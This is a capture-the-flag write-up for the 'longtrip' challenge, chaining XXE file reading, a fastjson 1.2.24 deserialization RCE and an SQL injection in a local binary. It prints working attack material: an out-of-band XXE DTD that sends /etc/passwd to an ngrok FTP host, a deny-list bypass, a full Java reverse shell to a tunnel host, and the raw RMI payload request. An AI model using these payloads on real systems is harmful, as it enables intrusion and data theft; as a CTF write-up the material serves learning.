## longtrip
### Solution

When access to challenge

There is just an error JAVa page so I will do a little fuzzing using dirsearch

Access to /login

Login with admin:1234 we will go to /parse

In this page, we will see a simple XML parser website, I think there is a XXE injection bug here.
Let's test:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<person>
<Name>Jameson Junior</Name>
<age>21</age>
<school>UIT</school>
<region>HCM</region>
<country>&file;</country>
</person>
```

Okay we can read but just a short text of file, this is difficult to exploit if we don't have full content. Now I try to send the content of file via outbound connection using ftp:// protocol: https://github.com/staaldraad/xxeserv
* Step 1: we run this application

* Step 2: Tunnel the ftp server using ngrok or pinggy.io
`ngrok tcp 2121`

* Step 3: Host a web server to serve this dtd file
```xml
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://0.tcp.ap.ngrok.io:16713/%d;'>">
```

* Step 4: Now run this (Note to change your web server URL)
```xml
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "https://test8.threalwinky.id.vn/sp2.dtd">
%asd;
%c;
]>
<country>&rrr;</country>
```
* Step 5: Check

Now we can read full content of a file
Try to read `/proc/self/cwd` is app directory

Read `/proc/self/cwd/src`

There are multiple files but I can only read FilterInput.java, NoteServlet.java. Here are they:
```java
// FilterInput.java
/package org.example.demo;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Enumeration;
@WebFilter("
/note")
public class FilterInput implements Filter {
private static final String VALID_REGEX = "^[a-zA-Z0-9{}:\u00C0-\u1EF9\"\\s]+$";
public void init(FilterConfig filterConfig) {
System.out.println("[*] Filter init");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
HttpSession session = request.getSession(false);
boolean loggedIn = false;
if (session != null) {
loggedIn = (session.getAttribute("username") != null);
}
if (!loggedIn){
if(!servletRequest.getParameterNames().hasMoreElements()) {
request.setAttribute("errorMessage", "Wrong usrname or password!");
RequestDispatcher dispatcher = request.getRequestDispatcher("
/login.jsp");
dispatcher.forward(request, response);
return;
}
}
else {
Enumeration<String> enumeration = servletRequest.getParameterNames();
while (enumeration.hasMoreElements()) {
String parameterName = enumeration.nextElement();
String paramValue = servletRequest.getParameter(parameterName);
/
if (paramValue == null || !paramValue.matches(VALID_REGEX)) {
if (session != null) {
session.invalidate();
}
request.setAttribute("errorMessage", "Do not challenge my filter. Input data must be only a-zA-Z and not null!!!");
RequestDispatcher dispatcher = request.getRequestDispatcher("
login.jsp");
dispatcher.forward(request, response);
return;
}
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
}
```
```java
//NoteServelet.java
/package org.example.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import io.github.cdimascio.dotenv.Dotenv;
import java.io.*;
import java.util.logging.Logger;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet(name = "NoteServlet", urlPatterns = {"/note/*"})
public class NoteServlet extends HttpServlet {
private String secret;
private static final Logger logger = Logger.getLogger(NoteServlet.class.getName());
@Override
public void init() throws ServletException {
Dotenv dotenv = Dotenv.configure().directory("
/opt
/tomcat") .load();
secret = dotenv.get("SECRET");
if (secret == null) {
throw new ServletException("SECRET env missing!");
}
}
/ hey, local first, remoter
private String[] Denlist = new String[]{"TemplatesImpl", "JdbcRowSetImpl","WrapperConnection", "@type", "ldap", "rmi"};
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String path = request.getPathInfo();
if (path == null || path.length() <= 1) {
request.setAttribute("errorMessage", "Path is empty!");
request.getRequestDispatcher("
/dashboard.jsp").forward(request, response);
return;
}
String key = path.substring(1);
if (key.equals(secret)) {
String content = RequestContentReader.getContent(request);
for(String Den : this.Denlist) {
if (content.contains(Den)) {
request.setAttribute("errorMessage", "Hacker!!!!");
RequestDispatcher dispatcher = request.getRequestDispatcher("
/dashboard.jsp");
dispatcher.forward(request, response);
return;
}
}
/ Currently in the build process, temporarily use the feature with note length <10.
if (content.length() < 20){
content = "{ note: \""+ content + "\" }";
}
try {
Object object = JSON.parseObject(content, Object.class, Feature.SupportNonPublicField);
request.setAttribute("notes", object);
request.getRequestDispatcher("
/dashboard.jsp").forward(request, response);
} catch (Exception e) {
System.out.printf("error:" + "" + e.getMessage() + "\n");
request.setAttribute("errorMessage", "Something wrong because the system is under development!");
request.getRequestDispatcher("
/dashboard.jsp").forward(request, response);
}
} else {
logger.info("Incoming request path: " + path);
request.setAttribute("errorMessage", "Wrong secret!");
request.getRequestDispatcher("
dashboard.jsp").forward(request, response);
}
}
}
```
So after reading the source, we can see an endpoint `/note` which allows only POST method. And it uses fastjson library to convert string to object
Let's check more at `file:///proc/self/cwd/webapps/ROOT/WEB-INF/lib`

So it uses fastjson-1.2.24, let's check any CVE related to it:
https://www.cvedetails.com/version/764377/Alibaba-Fastjson-1.2.24.html
So there is a CVE leads to RCE in this library. POC is here: https://github.com/h0cksr/Fastjson--CVE-2017-18349-
but it blocks
```java
private String[] Denlist = new String[]{"TemplatesImpl", "JdbcRowSetImpl","WrapperConnection", "@type", "ldap", "rmi"};
```
-> just bypass using unicode `r` -> `\u0072`
Now we can use rmi:// protocol to get RCE, but before this we must leak `secret = dotenv.get("SECRET");`

* Step 1:
Run RMI server
`docker run -it -p 9999:9999 -v "$PWD":/app -w /app eclipse-temurin:8-jdk-jammy java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "https://test8.threalwinky.id.vn/#Exploit" 9999`

* Step 2: Compile this reverse shell source
```java
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
static {
try {
String host = "wolcv-14-161-6-190.a.free.pinggy.link";
int port = 46249;
String cmd = "sh";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
}
catch (Exception e) {}
}catch (Exception e) {}
}
}
```
`javac -source 1.8 -target 1.8 Exploit.java `

* Step 3: Host the Exploit class

* Step 4: Send this POST request
```
POST /note/0f55ff9906723c001384135a436e4346 HTTP/1.1
Host: challenge.cnsc.com.vn:31261
Content-Length: 300
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://challenge.cnsc.com.vn:31781
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge.cnsc.com.vn:31781/parse
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=31F81611675D8F90485A78EC8CE54A6D
Connection: keep-alive
content={"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"\u0072mi://0.tcp.ap.ngrok.io:10239/Exploit","autoCommit":true}
```
And now we get the reverse shell

Download the connectdb file and use IDA to decompile it
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rax
char v5[128]; // [rsp+10h] [rbp-1A0h] BYREF
const char *v6; // [rsp+90h] [rbp-120h] BYREF
__int64 v7; // [rsp+98h] [rbp-118h] BYREF
char s[260]; // [rsp+A0h] [rbp-110h] BYREF
int v9; // [rsp+1A4h] [rbp-Ch]
FILE *stream; // [rsp+1A8h] [rbp-8h]
if ( argc <= 1 )
{
fprintf(stderr, "Please provide a name as an argument: %s <name>\n", *argv);
exit(1);
}
v6 = 0LL;
word_6014E0 = 53;
printf("[+] Greeting you: %s\n", argv[1]);
printf("[+] Initial 'id' value: %s\n", (const char *)&word_6014E0);
strcpy(data, argv[1]);
printf("[+] 'id' value after overwrite: %s\n", (const char *)&word_6014E0);
snprintf(s, 0x100uLL, "SELECT * FROM joke WHERE id < %s", (const char *)&word_6014E0);
stream = fopen("/etc/db.conf", "r");
if ( !stream )
{
fwrite("Failed to open /etc/db.conf\n", 1uLL, 0x1CuLL, stderr);
exit(1);
}
if ( !fgets(v5, 128, stream) )
{
fwrite("Failed to read database path from /etc/db.conf\n", 1uLL, 0x2FuLL, stderr);
fclose(stream);
exit(1);
}
fclose(stream);
v5[strcspn(v5, "\n")] = 0;
v9 = sqlite3_open_v2(v5, &v7, 1LL, 0LL);
if ( v9 )
{
v3 = (const char *)sqlite3_errmsg(v7);
fprintf(stderr, "Cannot open database: %s\n", v3);
sqlite3_close(v7);
exit(1);
}
puts("\n--- QUERY RESULTS ---");
v9 = sqlite3_exec(v7, s, callback, 0LL, &v6);
if ( v9 )
{
fprintf(stderr, "SQL error: %s\n", v6);
sqlite3_free(v6);
sqlite3_close(v7);
exit(1);
}
sqlite3_close(v7);
return 0;
}
```
we can see a buffer overflow bug here can lead to SQL injection

Now we need to leak the flag table name and column
```
./connectdb "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, sql from sqlite_master"
```

Now capture the flag
```
./connectdb "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag"
```

```
./connectdb "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag"
[+] Greeting you: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag
[+] Initial 'id' value: 5
[+] 'id' value after overwrite: 1 union select 1, flag_511d29bb058e7fb8b48cfbc0 from flag
--- QUERY RESULTS ---
1 W1{1Ong_trlP-t0-5qll_ABcdEFghA32I53ab0b8}
```